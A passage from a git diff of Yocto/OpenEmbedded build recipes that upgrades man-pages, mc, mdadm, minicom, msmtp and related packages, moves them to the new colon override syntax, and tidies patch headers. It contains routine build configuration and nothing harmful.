+MAN_PKG = "${PN}"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[manpages] = ""
+
+do_configure[noexec] = "1"
+do_compile[noexec] = "1"
+
+do_install() {
+ oe_runmake install prefix=${prefix} DESTDIR=${D}
+}
+
+# Only deliveres man-pages so FILES:${PN} gets everything
+FILES:${PN}-doc = ""
+FILES:${PN} = "${mandir}/*"
+
+inherit update-alternatives
+
+ALTERNATIVE_PRIORITY = "100"
+ALTERNATIVE:${PN} = "passwd.5 getspnam.3 crypt.3"
+ALTERNATIVE_LINK_NAME[passwd.5] = "${mandir}/man5/passwd.5"
+ALTERNATIVE_LINK_NAME[getspnam.3] = "${mandir}/man3/getspnam.3"
+ALTERNATIVE_LINK_NAME[crypt.3] = "${mandir}/man3/crypt.3"
diff --git a/meta/recipes-extended/mc/files/nomandate.patch b/meta/recipes-extended/mc/files/nomandate.patch
index 48bd73b110..c01d065b0e 100644
--- a/meta/recipes-extended/mc/files/nomandate.patch
+++ b/meta/recipes-extended/mc/files/nomandate.patch
@@ -1,6 +1,14 @@
+From f02010965af21db018c4e108b2193c872406a314 Mon Sep 17 00:00:00 2001
+From: Richard Purdie <richard.purdie@linuxfoundation.org>
+Date: Tue, 4 Feb 2020 18:12:15 +0000
+Subject: [PATCH] mc: Fix manpage date indeterminism
+MIME-Version: 1.0
+Content-Type: text/plain; charset=UTF-8
+Content-Transfer-Encoding: 8bit
+
The man page date can vary depending upon the host perl, e.g. in Russian
some versions print 'июня', others 'Июнь' or Polish 'czerwca' or 'czerwiec'.
-Rather than depend upon perl-native to fix this, just remove the date from
+Rather than depend upon perl-native to fix this, just remove the date from
the manpages.
RP 2020/2/4
@@ -8,14 +16,18 @@ RP 2020/2/4
Upstream-Status: Inappropriate [OE specficic reproducibility workaround]
Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
-Index: mc-4.8.23/doc/man/date-of-man-include.am
-===================================================================
---- mc-4.8.23.orig/doc/man/date-of-man-include.am
-+++ mc-4.8.23/doc/man/date-of-man-include.am
+---
+ doc/man/date-of-man-include.am | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/doc/man/date-of-man-include.am b/doc/man/date-of-man-include.am
+index 3a4e599..f11e9b3 100644
+--- a/doc/man/date-of-man-include.am
++++ b/doc/man/date-of-man-include.am
@@ -1,5 +1,5 @@
SED_PARAMETERS = \
- -e "s/%DATE_OF_MAN_PAGE%/$${MAN_DATE}/g" \
+ -e "s/%DATE_OF_MAN_PAGE%//g" \
- -e "s/%DISTR_VERSION%/@DISTR_VERSION@/g" \
+ -e "s/%MAN_VERSION%/@MAN_VERSION@/g" \
-e "s{%prefix%{@prefix@{g" \
-e "s{%sysconfdir%{@sysconfdir@{g" \
diff --git a/meta/recipes-extended/mc/mc_4.8.25.bb b/meta/recipes-extended/mc/mc_4.8.25.bb
deleted file mode 100644
index 83c8a6ecf6..0000000000
--- a/meta/recipes-extended/mc/mc_4.8.25.bb
+++ /dev/null
@@ -1,53 +0,0 @@
-SUMMARY = "Midnight Commander is an ncurses based file manager"
-HOMEPAGE = "http://www.midnight-commander.org/"
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://COPYING;md5=270bbafe360e73f9840bd7981621f9c2"
-SECTION = "console/utils"
-DEPENDS = "ncurses glib-2.0 util-linux"
-RDEPENDS_${PN} = "ncurses-terminfo-base"
-RRECOMMENDS_${PN} = "ncurses-terminfo"
-
-SRC_URI = "http://www.midnight-commander.org/downloads/${BPN}-${PV}.tar.bz2 \
- file://0001-mc-replace-perl-w-with-use-warnings.patch \
- file://nomandate.patch \
- "
-SRC_URI[sha256sum] = "407dc20f70082f26c7f5716406cb755cbb6cba3f2f13b841b79a991282d310c2"
-
-inherit autotools gettext pkgconfig
-
-#
-# Both Samba (smb) and sftp require package delivered from meta-openembedded
-#
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[smb] = "--enable-vfs-smb,--disable-vfs-smb,samba,"
-PACKAGECONFIG[sftp] = "--enable-vfs-sftp,--disable-vfs-sftp,libssh2,"
-
-EXTRA_OECONF = "--with-screen=ncurses --without-gpm-mouse --without-x --disable-configure-args"
-
-CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl'"
-CACHED_CONFIGUREVARS += "ac_cv_path_PYTHON='/usr/bin/env python'"
-CACHED_CONFIGUREVARS += "ac_cv_path_GREP='/usr/bin/env grep'"
-CACHED_CONFIGUREVARS += "mc_cv_have_zipinfo=yes"
-
-do_install_append () {
- sed -i -e '1s,#!.*perl,#!${bindir}/env perl,' ${D}${libexecdir}/mc/extfs.d/*
-
- rm ${D}${libexecdir}/mc/extfs.d/s3+ ${D}${libexecdir}/mc/extfs.d/uc1541
-}
-
-PACKAGES =+ "${BPN}-helpers-perl ${BPN}-helpers ${BPN}-fish"
-
-SUMMARY_${BPN}-helpers-perl = "Midnight Commander Perl-based helper scripts"
-FILES_${BPN}-helpers-perl = "${libexecdir}/mc/extfs.d/a+ ${libexecdir}/mc/extfs.d/apt+ \
- ${libexecdir}/mc/extfs.d/deb ${libexecdir}/mc/extfs.d/deba \
- ${libexecdir}/mc/extfs.d/debd ${libexecdir}/mc/extfs.d/dpkg+ \
- ${libexecdir}/mc/extfs.d/mailfs ${libexecdir}/mc/extfs.d/patchfs \
- ${libexecdir}/mc/extfs.d/rpms+ ${libexecdir}/mc/extfs.d/ulib \
- ${libexecdir}/mc/extfs.d/uzip"
-RDEPENDS_${BPN}-helpers-perl = "perl"
-
-SUMMARY_${BPN}-helpers = "Midnight Commander shell helper scripts"
-FILES_${BPN}-helpers = "${libexecdir}/mc/extfs.d/* ${libexecdir}/mc/ext.d/*"
-
-SUMMARY_${BPN}-fish = "Midnight Commander Fish scripts"
-FILES_${BPN}-fish = "${libexecdir}/mc/fish"
diff --git a/meta/recipes-extended/mc/mc_4.8.27.bb b/meta/recipes-extended/mc/mc_4.8.27.bb
new file mode 100644
index 0000000000..546e615d1d
--- /dev/null
+++ b/meta/recipes-extended/mc/mc_4.8.27.bb
@@ -0,0 +1,60 @@
+SUMMARY = "Midnight Commander is an ncurses based file manager"
+HOMEPAGE = "http://www.midnight-commander.org/"
+DESCRIPTION = "GNU Midnight Commander is a visual file manager, licensed under GNU General Public License and therefore qualifies as Free Software. It's a feature rich full-screen text mode application that allows you to copy, move and delete files and whole directory trees, search for files and run commands in the subshell. Internal viewer and editor are included."
+LICENSE = "GPLv3"
+LIC_FILES_CHKSUM = "file://COPYING;md5=270bbafe360e73f9840bd7981621f9c2"
+SECTION = "console/utils"
+DEPENDS = "ncurses glib-2.0 util-linux file-replacement-native"
+RDEPENDS:${PN} = "ncurses-terminfo-base"
+RRECOMMENDS:${PN} = "ncurses-terminfo"
+
+SRC_URI = "http://www.midnight-commander.org/downloads/${BPN}-${PV}.tar.bz2 \
+ file://0001-mc-replace-perl-w-with-use-warnings.patch \
+ file://nomandate.patch \
+ "
+SRC_URI[sha256sum] = "2f52dd9c75c20d8eac7701bd3a8c6c125aaf8cdd9cf12b78ca50a0102b543407"
+
+# remove at next version upgrade or when output changes
+PR = "r1"
+HASHEQUIV_HASH_VERSION .= ".2"
+
+inherit autotools gettext pkgconfig
+
+#
+# Both Samba (smb) and sftp require package delivered from meta-openembedded
+#
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[smb] = "--enable-vfs-smb,--disable-vfs-smb,samba,"
+PACKAGECONFIG[sftp] = "--enable-vfs-sftp,--disable-vfs-sftp,libssh2,"
+
+CFLAGS:append:libc-musl = ' -DNCURSES_WIDECHAR=1 '
+EXTRA_OECONF = "--with-screen=ncurses --without-gpm-mouse --without-x --disable-configure-args"
+EXTRANATIVEPATH += "file-native"
+
+CACHED_CONFIGUREVARS += "ac_cv_path_PERL='/usr/bin/env perl'"
+CACHED_CONFIGUREVARS += "ac_cv_path_PYTHON='/usr/bin/env python'"
+CACHED_CONFIGUREVARS += "ac_cv_path_GREP='/usr/bin/env grep'"
+CACHED_CONFIGUREVARS += "mc_cv_have_zipinfo=yes"
+
+do_install:append () {
+ sed -i -e '1s,#!.*perl,#!${bindir}/env perl,' ${D}${libexecdir}/mc/extfs.d/*
+
+ rm ${D}${libexecdir}/mc/extfs.d/s3+ ${D}${libexecdir}/mc/extfs.d/uc1541
+}
+
+PACKAGES =+ "${BPN}-helpers-perl ${BPN}-helpers ${BPN}-fish"
+
+SUMMARY:${BPN}-helpers-perl = "Midnight Commander Perl-based helper scripts"
+FILES:${BPN}-helpers-perl = "${libexecdir}/mc/extfs.d/a+ ${libexecdir}/mc/extfs.d/apt+ \
+ ${libexecdir}/mc/extfs.d/deb ${libexecdir}/mc/extfs.d/deba \
+ ${libexecdir}/mc/extfs.d/debd ${libexecdir}/mc/extfs.d/dpkg+ \
+ ${libexecdir}/mc/extfs.d/mailfs ${libexecdir}/mc/extfs.d/patchfs \
+ ${libexecdir}/mc/extfs.d/rpms+ ${libexecdir}/mc/extfs.d/ulib \
+ ${libexecdir}/mc/extfs.d/uzip"
+RDEPENDS:${BPN}-helpers-perl = "perl"
+
+SUMMARY:${BPN}-helpers = "Midnight Commander shell helper scripts"
+FILES:${BPN}-helpers = "${libexecdir}/mc/extfs.d/* ${libexecdir}/mc/ext.d/*"
+
+SUMMARY:${BPN}-fish = "Midnight Commander Fish scripts"
+FILES:${BPN}-fish = "${libexecdir}/mc/fish"
diff --git a/meta/recipes-extended/mdadm/files/0001-Revert-tests-wait-for-complete-rebuild-in-integrity-.patch b/meta/recipes-extended/mdadm/files/0001-Revert-tests-wait-for-complete-rebuild-in-integrity-.patch
index b196084a5c..fb4bc165fb 100644
--- a/meta/recipes-extended/mdadm/files/0001-Revert-tests-wait-for-complete-rebuild-in-integrity-.patch
+++ b/meta/recipes-extended/mdadm/files/0001-Revert-tests-wait-for-complete-rebuild-in-integrity-.patch
@@ -10,7 +10,7 @@ use the previous logic "check wait" which also used
commonly by other tests such as tests/02r5grow, tests/07revert-grow
and etc.
-Upstream-Status: Submitted[https://marc.info/?l=linux-raid&m=156317157314030&w=2]
+Upstream-Status: Submitted [https://marc.info/?l=linux-raid&m=156317157314030&w=2]
Signed-off-by: Mingli Yu <Mingli.Yu@windriver.com>
---
diff --git a/meta/recipes-extended/mdadm/files/0001-mdadm-skip-test-11spare-migration.patch b/meta/recipes-extended/mdadm/files/0001-mdadm-skip-test-11spare-migration.patch
index 3a192cc95c..84517caade 100644
--- a/meta/recipes-extended/mdadm/files/0001-mdadm-skip-test-11spare-migration.patch
+++ b/meta/recipes-extended/mdadm/files/0001-mdadm-skip-test-11spare-migration.patch
@@ -17,7 +17,7 @@ done
"try" includes near 20 sub testcase, so there are nearly 80 subcases need to run,
so it will take long time than ptest-runner timeout limit, skip it as workaround.
-Upstream-Status: Inappropriate[oe-specific]
+Upstream-Status: Inappropriate [oe-specific]
Signed-off-by: Changqing Li <changqing.li@windriver.com>
---
diff --git a/meta/recipes-extended/mdadm/mdadm_4.1.bb b/meta/recipes-extended/mdadm/mdadm_4.1.bb
index 001d3331a7..35535aef86 100644
--- a/meta/recipes-extended/mdadm/mdadm_4.1.bb
+++ b/meta/recipes-extended/mdadm/mdadm_4.1.bb
@@ -1,5 +1,6 @@
SUMMARY = "Tool for managing software RAID under Linux"
HOMEPAGE = "http://www.kernel.org/pub/linux/utils/raid/mdadm/"
+DESCRIPTION = "mdadm is a Linux utility used to manage and monitor software RAID devices."
# Some files are GPLv2+ while others are GPLv2.
LICENSE = "GPLv2 & GPLv2+"
@@ -30,23 +31,23 @@ SRC_URI[sha256sum] = "ab7688842908d3583a704d491956f31324c3a5fc9f6a04653cb75d19f1
inherit autotools-brokensep ptest systemd
-SYSTEMD_SERVICE_${PN} = "mdmonitor.service"
+SYSTEMD_SERVICE:${PN} = "mdmonitor.service"
SYSTEMD_AUTO_ENABLE = "disable"
-CFLAGS_append_toolchain-clang = " -Wno-error=address-of-packed-member"
+CFLAGS:append:toolchain-clang = " -Wno-error=address-of-packed-member"
# PPC64 and MIPS64 uses long long for u64 in the kernel, but powerpc's asm/types.h
# prevents 64-bit userland from seeing this definition, instead defaulting
# to u64 == long in userspace. Define __SANE_USERSPACE_TYPES__ to get
# int-ll64.h included
-CFLAGS_append_powerpc64 = ' -D__SANE_USERSPACE_TYPES__'
-CFLAGS_append_mipsarchn64 = ' -D__SANE_USERSPACE_TYPES__'
-CFLAGS_append_mipsarchn32 = ' -D__SANE_USERSPACE_TYPES__'
+CFLAGS:append:powerpc64 = ' -D__SANE_USERSPACE_TYPES__'
+CFLAGS:append:mipsarchn64 = ' -D__SANE_USERSPACE_TYPES__'
+CFLAGS:append:mipsarchn32 = ' -D__SANE_USERSPACE_TYPES__'
-EXTRA_OEMAKE = 'CHECK_RUN_DIR=0 CXFLAGS="${CFLAGS}" SYSTEMD_DIR=${systemd_unitdir}/system \
+EXTRA_OEMAKE = 'CHECK_RUN_DIR=0 CXFLAGS="${CFLAGS}" SYSTEMD_DIR=${systemd_system_unitdir} \
BINDIR="${base_sbindir}" UDEVDIR="${nonarch_base_libdir}/udev"'
-DEBUG_OPTIMIZATION_append = " -Wno-error"
+DEBUG_OPTIMIZATION:append = " -Wno-error"
do_compile() {
oe_runmake SYSROOT="${STAGING_DIR_TARGET}"
@@ -57,14 +58,14 @@ do_install() {
autotools_do_install
}
-do_install_append() {
+do_install:append() {
install -d ${D}/${sysconfdir}/
install -m 644 ${S}/mdadm.conf-example ${D}${sysconfdir}/mdadm.conf
install -d ${D}/${sysconfdir}/init.d
install -m 755 ${WORKDIR}/mdadm.init ${D}${sysconfdir}/init.d/mdmonitor
}
-do_install_append() {
+do_install:append() {
oe_runmake install-systemd DESTDIR=${D}
}
@@ -92,8 +93,8 @@ do_install_ptest() {
done
}
-RDEPENDS_${PN}-ptest += "bash e2fsprogs-mke2fs"
-RRECOMMENDS_${PN}-ptest += " \
+RDEPENDS:${PN}-ptest += "bash e2fsprogs-mke2fs"
+RRECOMMENDS:${PN}-ptest += " \
coreutils \
util-linux \
kernel-module-loop \
@@ -104,4 +105,4 @@ RRECOMMENDS_${PN}-ptest += " \
kernel-module-raid456 \
"
-FILES_${PN} += "${systemd_unitdir}/*"
+FILES:${PN} += "${systemd_unitdir}/*"
diff --git a/meta/recipes-extended/mingetty/mingetty_1.08.bb b/meta/recipes-extended/mingetty/mingetty_1.08.bb
index 491b892093..27feaa8cde 100644
--- a/meta/recipes-extended/mingetty/mingetty_1.08.bb
+++ b/meta/recipes-extended/mingetty/mingetty_1.08.bb
@@ -1,6 +1,7 @@
SUMMARY = "Compact getty terminal handler for virtual consoles only"
SECTION = "console/utils"
HOMEPAGE = "http://sourceforge.net/projects/mingetty/"
+DESCRIPTION = "This is a small Linux console getty that is started on the Linux text console, asks for a login name and then tranfers over to login directory. Is extended to allow automatic login and starting any app."
LICENSE = "GPLv2"
PR = "r3"
@@ -23,7 +24,7 @@ do_install(){
inherit update-alternatives
-ALTERNATIVE_${PN} = "getty"
+ALTERNATIVE:${PN} = "getty"
ALTERNATIVE_LINK_NAME[getty] = "${base_sbindir}/getty"
ALTERNATIVE_TARGET[getty] = "${base_sbindir}/mingetty"
ALTERNATIVE_PRIORITY = "10"
diff --git a/meta/recipes-extended/minicom/minicom/0001-Drop-superfluous-global-variable-definitions.patch b/meta/recipes-extended/minicom/minicom/0001-Drop-superfluous-global-variable-definitions.patch
index 4c6e249315..01b23898e7 100644
--- a/meta/recipes-extended/minicom/minicom/0001-Drop-superfluous-global-variable-definitions.patch
+++ b/meta/recipes-extended/minicom/minicom/0001-Drop-superfluous-global-variable-definitions.patch
@@ -11,7 +11,7 @@ can be dropped.
This fixes linking with gcc 10 which uses -fno-common by default,
disallowing multiple global variable definitions.
-Upstream-Status: Pending
+Upstream-Status: Backport [https://salsa.debian.org/minicom-team/minicom/-/commit/db269bba2a68fde03f5df45ac8372a8f1248ca96]
Signed-off-by: Khem Raj <raj.khem@gmail.com>
---
src/dial.c | 2 --
diff --git a/meta/recipes-extended/minicom/minicom/0001-Fix-build-issus-surfaced-due-to-musl.patch b/meta/recipes-extended/minicom/minicom/0001-Fix-build-issus-surfaced-due-to-musl.patch
deleted file mode 100644
index fec67fdd3f..0000000000
--- a/meta/recipes-extended/minicom/minicom/0001-Fix-build-issus-surfaced-due-to-musl.patch
+++ /dev/null
@@ -1,47 +0,0 @@
-From d62a5862e26ed3fc58d789efe9c40ca6c911d36b Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 31 Aug 2015 22:35:31 +0000
-Subject: [PATCH] Fix build issus surfaced due to musl
-
-src/getsdir.h:28:14: error: 'MAXNAMLEN' undeclared here (not in a function)
- char fname[MAXNAMLEN + 1]; /* filename + terminating null */
-
-src/dial.c:352:22: error: 'KIOCSOUND' undeclared (first use in this function)
-| ioctl(consolefd, KIOCSOUND, k);
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
-Upstream-Status: Pending
-
- src/dial.c | 2 +-
- src/getsdir.c | 1 +
- 2 files changed, 2 insertions(+), 1 deletion(-)
-
-diff --git a/src/dial.c b/src/dial.c
-index a90c1d2..bf02574 100644
---- a/src/dial.c
-+++ b/src/dial.c
-@@ -39,7 +39,7 @@
- #include "intl.h"
-
- #ifdef VC_MUSIC
--# if defined(__GLIBC__)
-+# if defined(__GLIBC__) || defined(__linux__)
- # include <sys/ioctl.h>
- # include <sys/kd.h>
- # include <sys/time.h>
-diff --git a/src/getsdir.c b/src/getsdir.c
-index 2195b27..b61a361 100644
---- a/src/getsdir.c
-+++ b/src/getsdir.c
-@@ -30,6 +30,7 @@
- #include <string.h>
- #include <sys/types.h>
- #include <sys/stat.h>
-+#include <sys/param.h>
- #include <errno.h>
-
- #include "getsdir.h"
---
-2.5.1
-
diff --git a/meta/recipes-extended/minicom/minicom/0001-fix-minicom-h-v-return-value-is-not-0.patch b/meta/recipes-extended/minicom/minicom/0001-fix-minicom-h-v-return-value-is-not-0.patch
index bd8261c979..9e67126f3e 100644
--- a/meta/recipes-extended/minicom/minicom/0001-fix-minicom-h-v-return-value-is-not-0.patch
+++ b/meta/recipes-extended/minicom/minicom/0001-fix-minicom-h-v-return-value-is-not-0.patch
@@ -1,35 +1,33 @@
-Subject: [PATCH] fix minicom -h/-v return value is not 0
+Exit normally for help/verison options
-Upstream-Status: Pending
-
-Signed-off-by: Lu Chong <Chong.Lu@windriver.com>
+If -v or -h is used for the help/version information, it is a normal exit situation,
+not an error condition. Sometimes these are used as a simple operation test of the
+resulting binary so the exit code does matter.
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+Upstream-Status: Submitted [https://salsa.debian.org/minicom-team/minicom/-/merge_requests/14]
---
src/minicom.c | 6 ++----
1 file changed, 2 insertions(+), 4 deletions(-)
-diff --git a/src/minicom.c b/src/minicom.c
-index e1a557b..730da7c 100644
---- a/src/minicom.c
-+++ b/src/minicom.c
-@@ -1166,15 +1166,13 @@ int main(int argc, char **argv)
- "modify it under the terms of the GNU General Public License\n"
+Index: minicom-2.8/src/minicom.c
+===================================================================
+--- minicom-2.8.orig/src/minicom.c
++++ minicom-2.8/src/minicom.c
+@@ -1257,14 +1257,14 @@ int main(int argc, char **argv)
+ "modify it under the terms of the GNU General Public License\n"
"as published by the Free Software Foundation; either version\n"
- "2 of the License, or (at your option) any later version.\n\n");
+ "2 of the License, or (at your option) any later version.\n\n"));
- exit(1);
-- break;
+ exit(0);
+ break;
case 's': /* setup mode */
dosetup = 1;
break;
case 'h':
helpthem();
- exit(1);
-- break;
+ exit(0);
+ break;
case 'p': /* Pseudo terminal to use. */
if (strncmp(optarg, "/dev/", 5) == 0)
- optarg += 5;
---
-1.7.9.5
-
diff --git a/meta/recipes-extended/minicom/minicom/0002-Drop-superfluous-global-variable-definitions.patch b/meta/recipes-extended/minicom/minicom/0002-Drop-superfluous-global-variable-definitions.patch
index 1740051e0a..e86b470b7e 100644
--- a/meta/recipes-extended/minicom/minicom/0002-Drop-superfluous-global-variable-definitions.patch
+++ b/meta/recipes-extended/minicom/minicom/0002-Drop-superfluous-global-variable-definitions.patch
@@ -13,7 +13,7 @@ variables in minicom.c and only declare them in the minicom.h header.
This fixes linking with gcc 10 which uses -fno-common by default,
disallowing multiple global variable definitions.
-Upstream-Status: Pending
+Upstream-Status: Backport [https://salsa.debian.org/minicom-team/minicom/-/commit/c69cad5b5dda85d361a3a0c1fddc65e933f26d11]
Signed-off-by: Khem Raj <raj.khem@gmail.com>
---
src/minicom.h | 2 +-
diff --git a/meta/recipes-extended/minicom/minicom/0003-Drop-superfluous-global-variable-definitions.patch b/meta/recipes-extended/minicom/minicom/0003-Drop-superfluous-global-variable-definitions.patch
index 58cd58eda8..3225a0c32a 100644
--- a/meta/recipes-extended/minicom/minicom/0003-Drop-superfluous-global-variable-definitions.patch
+++ b/meta/recipes-extended/minicom/minicom/0003-Drop-superfluous-global-variable-definitions.patch
@@ -14,7 +14,7 @@ and only declare the variables in the minicom.h header.
This fixes linking with gcc 10 which uses -fno-common by default,
disallowing multiple global variable definitions.
-Upstream-Status: Pending
+Upstream-Status: Backport [https://salsa.debian.org/minicom-team/minicom/-/commit/c8382374c5d340aa4115d527aed76e876ee5456b]
Signed-off-by: Khem Raj <raj.khem@gmail.com>
---
src/minicom.h | 6 +++---
diff --git a/meta/recipes-extended/minicom/minicom/allow.to.disable.lockdev.patch b/meta/recipes-extended/minicom/minicom/allow.to.disable.lockdev.patch
index f5c08896ff..39dc5c0492 100644
--- a/meta/recipes-extended/minicom/minicom/allow.to.disable.lockdev.patch
+++ b/meta/recipes-extended/minicom/minicom/allow.to.disable.lockdev.patch
@@ -1,10 +1,19 @@
-Upstream-Status: Pending
+configure: Allow lockdev to be disabled
+
+When the pkgconfig dependencies may be present, it is useful to be
+able to explictly disable the lockdev dependency. This adds such an
+option.
Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+
+Upstream-Status: Submitted [https://salsa.debian.org/minicom-team/minicom/-/merge_requests/14]
---- a/configure.in 2013-02-06 18:18:13.000000000 +0100
-+++ b/configure.in 2013-07-21 15:31:27.614828894 +0200
-@@ -40,7 +40,13 @@
+Index: minicom-2.8/configure.ac
+===================================================================
+--- minicom-2.8.orig/configure.ac
++++ minicom-2.8/configure.ac
+@@ -43,7 +43,13 @@ if test "x$enable_socket" = xyes; then
fi
PKG_PROG_PKG_CONFIG
diff --git a/meta/recipes-extended/minicom/minicom_2.7.1.bb b/meta/recipes-extended/minicom/minicom_2.7.1.bb
deleted file mode 100644
index c584b7589e..0000000000
--- a/meta/recipes-extended/minicom/minicom_2.7.1.bb
+++ /dev/null
@@ -1,31 +0,0 @@
-SUMMARY = "Text-based modem control and terminal emulation program"
-HOMEPAGE = "https://salsa.debian.org/minicom-team/minicom"
-DESCRIPTION = "Minicom is a text-based modem control and terminal emulation program for Unix-like operating systems"
-SECTION = "console/network"
-DEPENDS = "ncurses virtual/libiconv"
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=420477abc567404debca0a2a1cb6b645 \
- file://src/minicom.h;beginline=1;endline=12;md5=a58838cb709f0db517f4e42730c49e81"
-
-SRC_URI = "${DEBIAN_MIRROR}/main/m/${BPN}/${BPN}_${PV}.orig.tar.gz \
- file://allow.to.disable.lockdev.patch \
- file://0001-fix-minicom-h-v-return-value-is-not-0.patch \
- file://0001-Fix-build-issus-surfaced-due-to-musl.patch \
- file://0001-Drop-superfluous-global-variable-definitions.patch \
- file://0002-Drop-superfluous-global-variable-definitions.patch \
- file://0003-Drop-superfluous-global-variable-definitions.patch \
- "
-
-SRC_URI[md5sum] = "9021cb8c5445f6e6e74b2acc39962d62"
-SRC_URI[sha256sum] = "532f836b7a677eb0cb1dca8d70302b73729c3d30df26d58368d712e5cca041f1"
-
-PACKAGECONFIG ??= ""
-PACKAGECONFIG[lockdev] = "--enable-lockdev,--disable-lockdev,lockdev"
-
-inherit autotools gettext pkgconfig
-
-do_install() {
- for d in doc extras man lib src; do make -C $d DESTDIR=${D} install; done
-}
-
-RRECOMMENDS_${PN} += "lrzsz"
diff --git a/meta/recipes-extended/minicom/minicom_2.8.bb b/meta/recipes-extended/minicom/minicom_2.8.bb
new file mode 100644
index 0000000000..3abd8a41ca
--- /dev/null
+++ b/meta/recipes-extended/minicom/minicom_2.8.bb
@@ -0,0 +1,28 @@
+SUMMARY = "Text-based modem control and terminal emulation program"
+HOMEPAGE = "https://salsa.debian.org/minicom-team/minicom"
+DESCRIPTION = "Minicom is a text-based modem control and terminal emulation program for Unix-like operating systems"
+SECTION = "console/network"
+DEPENDS = "ncurses virtual/libiconv"
+LICENSE = "GPLv2+"
+LIC_FILES_CHKSUM = "file://COPYING;md5=420477abc567404debca0a2a1cb6b645 \
+ file://src/minicom.h;beginline=1;endline=12;md5=a58838cb709f0db517f4e42730c49e81"
+
+SRC_URI = "${DEBIAN_MIRROR}/main/m/${BPN}/${BPN}_${PV}.orig.tar.bz2 \
+ file://allow.to.disable.lockdev.patch \
+ file://0001-fix-minicom-h-v-return-value-is-not-0.patch \
+"
+
+SRC_URI[sha256sum] = "38cea30913a20349326ff3f1763ee1512b7b41601c24f065f365e18e9db0beba"
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[lockdev] = "--enable-lockdev,--disable-lockdev,lockdev"
+
+inherit autotools gettext pkgconfig
+
+do_install() {
+ for d in doc extras man lib src; do make -C $d DESTDIR=${D} install; done
+}
+
+RRECOMMENDS:${PN} += "lrzsz"
+
+RDEPENDS:${PN} += "ncurses-terminfo-base"
diff --git a/meta/recipes-extended/msmtp/msmtp_1.8.13.bb b/meta/recipes-extended/msmtp/msmtp_1.8.13.bb
deleted file mode 100644
index 994f1c5d90..0000000000
--- a/meta/recipes-extended/msmtp/msmtp_1.8.13.bb
+++ /dev/null
@@ -1,27 +0,0 @@
-SUMMARY = "msmtp is an SMTP client"
-DESCRIPTION = "A sendmail replacement for use in MTAs like mutt"
-HOMEPAGE = "https://marlam.de/msmtp/"
-SECTION = "console/network"
-
-LICENSE = "GPLv3"
-DEPENDS = "zlib gnutls"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-UPSTREAM_CHECK_URI = "https://marlam.de/msmtp/download/"
-
-SRC_URI = "https://marlam.de/${BPN}/releases/${BP}.tar.xz"
-SRC_URI[sha256sum] = "ada945ab8d519102bb632f197273b3326ded25b38c003b0cf3861d1d6d4a9bb9"
-
-inherit gettext autotools update-alternatives pkgconfig
-
-EXTRA_OECONF += "--without-libsecret --without-libgsasl --without-libidn"
-
-ALTERNATIVE_${PN} = "sendmail"
-# /usr/lib/sendmial is required by LSB core test
-ALTERNATIVE_${PN}_linuxstdbase = "sendmail usr-lib-sendmail"
-ALTERNATIVE_TARGET[sendmail] = "${bindir}/msmtp"
-ALTERNATIVE_LINK_NAME[sendmail] = "${sbindir}/sendmail"
-ALTERNATIVE_TARGET[usr-lib-sendmail] = "${bindir}/msmtp"
-ALTERNATIVE_LINK_NAME[usr-lib-sendmail] = "/usr/lib/sendmail"
-ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-extended/msmtp/msmtp_1.8.19.bb b/meta/recipes-extended/msmtp/msmtp_1.8.19.bb
new file mode 100644
index 0000000000..29f0e07fe4
--- /dev/null
+++ b/meta/recipes-extended/msmtp/msmtp_1.8.19.bb
@@ -0,0 +1,27 @@
+SUMMARY = "msmtp is an SMTP client"
+DESCRIPTION = "A sendmail replacement for use in MTAs like mutt"
+HOMEPAGE = "https://marlam.de/msmtp/"
+SECTION = "console/network"
+
+LICENSE = "GPLv3"
+DEPENDS = "zlib gnutls"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+UPSTREAM_CHECK_URI = "https://marlam.de/msmtp/download/"
+
+SRC_URI = "https://marlam.de/${BPN}/releases/${BP}.tar.xz"
+SRC_URI[sha256sum] = "34a1e1981176874dbe4ee66ee0d9103c90989aa4dcdc4861e4de05ce7e44526b"
+
+inherit gettext autotools update-alternatives pkgconfig
+
+EXTRA_OECONF += "--without-libsecret --without-libgsasl --without-libidn"
+
+ALTERNATIVE:${PN} = "sendmail"
+# /usr/lib/sendmial is required by LSB core test
+ALTERNATIVE:${PN}:linuxstdbase = "sendmail usr-lib-sendmail"
+ALTERNATIVE_TARGET[sendmail] = "${bindir}/msmtp"
+ALTERNATIVE_LINK_NAME[sendmail] = "${sbindir}/sendmail"
+ALTERNATIVE_TARGET[usr-lib-sendmail] = "${bindir}/msmtp"
+ALTERNATIVE_LINK_NAME[usr-lib-sendmail] = "/usr/lib/sendmail"
+ALTERNATIVE_PRIORITY = "100"
diff --git a/meta/recipes-extended/net-tools/net-tools/Bug_443075-ifconfig.c-pointtopoint_spelling.patch b/meta/recipes-extended/net-tools/net-tools/Bug_443075-ifconfig.c-pointtopoint_spelling.patch
deleted file mode 100644
index 74d74668ce..0000000000
--- a/meta/recipes-extended/net-tools/net-tools/Bug_443075-ifconfig.c-pointtopoint_spelling.patch
+++ /dev/null
@@ -1,26 +0,0 @@
-Description: Accept "pointtopoint" as a synonym for "pointopoint"
-Bug-Debian: https://bugs.debian.org/443075
-Author: Justin Pryzby <pryzbyj@libra>
-
-Upstream-Status: Pending
-Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
-
---- a/ifconfig.c
-+++ b/ifconfig.c
-@@ -644,14 +644,14 @@
- spp++;
- continue;
- }
-- if (!strcmp(*spp, "-pointopoint")) {
